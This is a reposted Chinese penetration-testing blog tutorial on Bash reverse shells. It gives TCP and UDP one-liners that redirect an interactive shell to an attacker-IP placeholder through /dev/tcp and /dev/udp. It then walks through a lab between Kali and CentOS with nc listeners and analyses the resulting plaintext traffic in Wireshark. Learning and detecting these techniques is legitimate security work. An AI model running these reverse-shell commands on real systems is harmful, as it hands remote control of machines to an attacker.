首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

[隧道代理] 隧道代理 — 反弹 Shell - Bash 反弹 Shell

  • 25-02-20 15:00
  • 4658
  • 6235
blog.csdn.net

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:Bash 工具介绍

Shell 常被称为 “终端” 或 “壳”,是人与内核之间的翻译官,而 Bash 则是 Linux 中默认使用的 Shell。

常用的 Bash 反弹 Shell 的命令如下:

  1.  ### 走 TCP 协议,对应服务端接收使用 nc -lvvp <指定端口>
  2.  bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&1
  3.  bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&2
  4.  ​
  5.  ### 走 UDP 协议,对应服务端接收使用 nc -lup <指定端口>
  6.  bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&1
  7.  bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&2

简单介绍一下上面这些命令反弹 Shell 的原理,在介绍原理之前,我们先来了解一下构成这些命令的字符的含义(不了解原理也没关系,拿来用就完了):

  • bash -i => 打开一个交互式的 Shell

  • & => 该符号常用于区分文件和文件描述符。

    • 当 >& 符号后面跟文件时,表示将标准输出和标准错误输出重定向至指定文件。

    • 当 >& 符号后面跟数字时,表示后面的数字是文件描述符,如果不加 & 则系统会将后面的数字当作文件名称。

  • 数字 0, 1, 2 是 Linux Shell 下的文件描述符。

    • 0 => 表示标准输入

    • 1 => 表示标准输出

    • 2 => 表示标准错误输出

  • /dev/tcp or /dev/udp => 这两个文件是 Linux 中的特殊设备,可用于建立 Socket 连接,读写这俩文件就相当于是在 Socket 连接中传输数据。

在上面的命令中,bash -i >& /dev/tcp/攻击机_IP/攻击机端口 表示将标准输出和标准错误输出都重定向到攻击机指定端口中,此时,本地命令的执行结果在攻击机中就可以被看到。而 0>&1 或者 0>&2 则表示将标准输入重定向到了标准输出,而又由于前面标准输出已经重定向到了攻击机,因此标准输入也重定向到了攻击机中,此时攻击机又可以在 Shell 中看到自己输入的命令,结合二者,攻击机就得到了一个基本完善的 Shell,既能执行命令,又能看到命令的回显。

不过上面也说了,这只是一个基本完善的 Shell,像 VIM 这种命令是执行不了的,要想执行这种命令,我们就需要将反弹 Shell,升级为交互式 Shell,这个是后话,这里不说。

0x02:Bash 反向反弹 Shell - TCP 通道

Bash 反弹 Shell 只能用于反向连接,不能正向连接哦。对于正向连接与反向连接的使用场景,相信看过前面 NetCat(NC)反弹 Shell 的小伙伴都已经很清楚了,所以笔者这里就不费笔墨讲解场景了,直接开始实验。

0x0201:Bash 反向反弹 Shell — 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

 nc -lvvp 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

 bash -i >& /dev/tcp/192.168.0.102/9999 0>&1

此时我们回到 Kali 攻击机中,可以看到靶机成功上线:

0x0202:Bash 反向反弹 Shell — 流量分析

接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 ifconfig 命令为例,来分析一下 Bash 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 ifconfig 后进行抓包:

如上,这就是走 TCP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。

0x03:Bash 反向反弹 Shell - UDP 通道

Bash 使用 UDP 通道进行反弹 Shell 主要是给大家长长见识,实际的话,我感觉不太靠谱,因为我一条命令也执行不了(得自己写脚本改)。

0x0301:Bash 反向反弹 Shell — 实验流程

复现环境

  • 攻击机 Kali Linux:IP 192.168.0.102

  • 靶机 CentOS7:IP 192.168.0.105

首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:

 nc -lup 9999

然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:

 bash -i >& /dev/udp/192.168.0.102/9999 0>&1

此时我们回到 Kali 攻击机中,可以看到靶机成功上线,不过很可惜,一句完整的命令都执行不了:

0x0302:Bash 反向反弹 Shell — 流量分析

接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 w 命令为例,来分析一下走 UDP 的 Bash 反弹 Shell 的流量特征。

在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 w 后进行抓包:

如上,这就是走 UDP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。虽然上面演示的这个有点鸡肋,但是如果你比较牛逼的话,使用 UDP 编的远控工具一般很难被防御,因为 TCP 会走三次握手,会给防火墙很多次机会,UDP 就不会了,直接过,可惜了,就是不稳定。

Hack3rX
微信公众号
这里是探索网络安全与黑客技术的秘密基地
注:本文转载自blog.csdn.net的Blue17 :: Hack3rX的文章"https://blog.csdn.net/m0_73360524/article/details/145604333"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top